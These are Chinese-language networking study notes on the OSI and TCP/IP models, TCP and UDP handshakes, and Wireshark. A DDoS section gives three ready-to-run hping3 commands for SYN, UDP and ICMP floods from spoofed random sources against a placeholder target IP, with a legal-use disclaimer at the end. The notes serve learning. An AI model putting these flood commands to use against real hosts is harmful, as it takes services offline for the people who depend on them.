网络通信模型网络模型就是“数据封装”、“数据解封”的过程同层次之间使用相同协议下层为上层提供服务OSI模型理想化模型 7层 应用层、表示层、会话层、 传输层、 网络层、链路层、物理层TCP/IP模型主流模型 4层 应用层、传输层、网络层、网络接口层信件内容传什么、收件人邮递方式、收件地址送到哪、送达物理传输局域网寻址TCP和UDPTCP传输控制协议和UDP用户数据报协议是TCP/IP模型传输层的两大核心协议分别对应“可靠传输”和“快速传输”两种需求TCP工作机制三次握手建立连接 确定可以收发SYN1→←SYN1,ack1ack1→四次挥手断开连接 确保数据传输完整FIN1,ack1→←ack1←FIN1,ack1ack1→UDP无连接 无需连接直接发送数据不可靠传输丢包、重复、乱序优点 传输效率高延迟低开销小适用于直播通话游戏DDOS攻击SYN洪水攻击 传输层 沾满服务器UDP洪水攻击 传输层 海量垃圾服务器盲目处理ICMP洪水攻击 网络层 海量ICMP包消耗服务器资源可用代码SYM洪水攻击hping3 --flood -S --rand-source -p 80 目标ipUDP 攻击hping3 --flood --udp --rand-source -p 80 目标ipICMP 攻击hping3 --flood --icmp--rand-source -d 1000 目标ipWireshark网络嗅探器 分析网络流量和数据包总结网络通信的完整体系TCP/IP模型是核心框架TCP/UDP传输层协议IP、ICMP网络层协议HTTP、DNS应用层协议数据传输应用层生成数据 → 传输层添加 TCP/UDP 头部端口号→ 网络层添加 IP 头部IP 地址→ 网络接口层添加 MAC 头部MAC 地址→ 物理介质传输 → 接收端按反向层级解封装【免责声明】本文仅供合法学习与技术交流禁止用于任何违法违规用途。操作风险自担责任自负。